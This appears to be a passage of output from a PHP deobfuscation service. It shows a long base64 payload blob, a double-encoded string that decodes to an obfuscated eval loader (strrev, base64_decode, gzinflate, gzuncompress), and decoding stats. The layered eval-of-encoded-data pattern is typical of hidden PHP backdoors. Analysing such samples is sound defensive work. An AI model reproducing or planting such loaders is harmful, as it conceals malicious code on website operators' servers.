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";
$hek = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSeWFYUmhiR2x1S1NrcEtTa3BPdz09";
echo('?>'.gzuncompress(gzinflate(gzinflate(base64_decode(strrev($ritalin))))));

?> 

Function Calls

strrev 1
gzinflate 2
gzuncompress 1
base64_decode 1

Variables

$hek WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9a..
$ritalin 3gxIofw/b/656zxPwDZKWtCBCi2SPKKgxH4AkugIINDmfxK3PW28rqI3Rg/3..

Stats

MD5 cdf5e68c2696fd7563dbfd5aa4070490
Eval Count 0
Decode Time 430 ms